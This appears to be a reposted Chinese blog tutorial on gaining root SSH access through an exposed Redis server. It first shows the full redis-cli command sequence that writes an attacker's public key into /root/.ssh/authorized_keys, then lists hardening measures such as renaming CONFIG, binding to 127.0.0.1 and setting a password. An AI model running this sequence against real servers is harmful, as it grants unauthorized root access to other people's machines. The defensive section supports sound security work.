Redis - - Redis 遠程代碼執行漏洞


1,利用redis漏洞,遠程登錄服務器

1.1 登錄遠程 redis 並寫入ssh公鑰

[root@test ~]# redis-cli -h 192.168.168.168 -p 6379 -a 123456

# 設置路徑等配置(必須有寫入權限)
192.168.168.168:6379> config set dir /root/.ssh
OK

# 上傳公鑰的備份文件名字為authorized_keys
192.168.168.168:6379> config set dbfilename authorized_keys
OK

# 寫入 ssh公鑰
192.168.168.168:6379> set xxx "\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC81NVpk8QyY1Roeo8lvHzjpPkvkWy4vYTzJi0msFaxvbpkQ0k2EvWDL8gxCPiu5/TzA47xTTKkk2H9Us0ciPnKRHliJMx7X0t4HaQj2LZ15t186O4JBaZhD4AEHkJDl9g1kR5XVtJmeQREv7GNCMFhFILyre1BWrrMrZbT4x1SMimOfbvhi2itSB9tReMQYkgpiQ0RnV1YDgk83/+Hr root@test\n\n\n"
OK

# 保存配置
192.168.168.168:6379> save
OK

# 退出
192.168.168.168:6379> exit

1.2 登錄遠程服務器

[root@test-docker ~]#  ssh root@192.168.168.168
The authenticity of host '192.168.168.168 (192.168.168.168)' can't be established.
RSA key fingerprint is SHA256:qiBj+5ipRG6rcY6uAbbeIelJK/huZgWVb4BM855YTZs.
RSA key fingerprint is MD5:84:21:21:f8:7c:5d:71:00:9d:f9:cb:df:4e:63:fe:35.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.168.168' (RSA) to the list of known hosts.
Last login: Fri Dec 14 10:48:58 2018 from 61.50.114.230

1.3 查看公鑰信息

[root@VM_0_11_centos ~]# more /root/.ssh/authorized_keys
REDIS0008	redis-ver4.0.10
redis-bits󿿀򳨭e)used-mem­Β


ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC81NVpk8QyY1Roeo8lvHzjpPkvkWy4vYTzJi0msFaxvbpkQ0k2EvWDL8gxCPiu5/
JMx7X0t4HaQj2LZ15t186O4JBaZhD4AEHkJDl9g1kR5XVtJmeQREv7GNCMFhFILyre1BWrrMrZbT4x1SMimOfbvhi2itSB9tReMQYkgpiQ0RnV1YDgk83/+Hr root@test

1.4 遠程服務器信息

[root@VM_0_11_centos ~]# cat /etc/redhat-release
CentOS release 6.9 (Final)
[root@VM_0_11_centos ~]# uname -a
Linux VM_0_11_centos 2.6.32-696.el6.x86_64 #1 SMP Tue Mar 21 19:29:05 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

1.5 本地服務器信息

[root@test ~]# cat /etc/redhat-release
CentOS Linux release 7.6.1810 (Core)
[root@test-docker ~]# uname -a
Linux test 3.10.0-957.1.3.el7.x86_64 #1 SMP Thu Nov 29 14:49:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

2,漏洞修復避免

2.1 禁止一些高危命令(重啟redis才能生效)

  • 修改 redis.conf 文件,禁用遠程修改 DB 文件地址
rename-command FLUSHALL ""

rename-command CONFIG ""

rename-command EVAL ""
  • 或者通過修改redis.conf文件,改變這些高危命令的名稱
rename-command FLUSHALL "name1"

rename-command CONFIG "name2"

rename-command EVAL "name3”

2.2 以低權限運行 Redis 服務(重啟redis才能生效)

  • 為 Redis 服務創建單獨的用戶和家目錄,並且配置禁止登陸
groupadd -r redis && useradd -r -g redis redis

2.3 為 Redis 添加密碼驗證(重啟redis才能生效)

  • 修改 redis.conf 文件,添加
requirepass mypassword
  • :redis不要用-a參數,明文輸入密碼,連接后使用auth認證

2.4 禁止外網訪問 Redis(重啟redis才能生效)

  • 修改 redis.conf 文件,添加或修改,使得 Redis 服務只在當前主機可用
bind 127.0.0.1
  • 在redis3.2之后,redis增加了protected-mode,在這個模式下,非綁定IP或者沒有配置密碼訪問時都會報錯

2.5 修改默認端口

  • 修改配置文件redis.conf文件
Port 6379
  • 默認端口是6379,可以改變成其他端口(不要沖突就好)

2.6 保證 authorized_keys 文件的安全

  • 為了保證安全,您應該阻止其他用戶添加新的公鑰。
  • 將 authorized_keys 的權限設置為對擁有者只讀,其他用戶沒有任何權限:
chmod 400 ~/.ssh/authorized_keys
  • 為保證 authorized_keys 的權限不會被改掉,您還需要設置該文件的 immutable 位權限:
chattr +i ~/.ssh/authorized_keys
  • 然而,用戶還可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目錄和 authorized_keys 文件。要避免這種情況,需要設置 ~./ssh 的 immutable 權限:
chattr +i ~/.ssh

2.7 設置防火牆策略


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM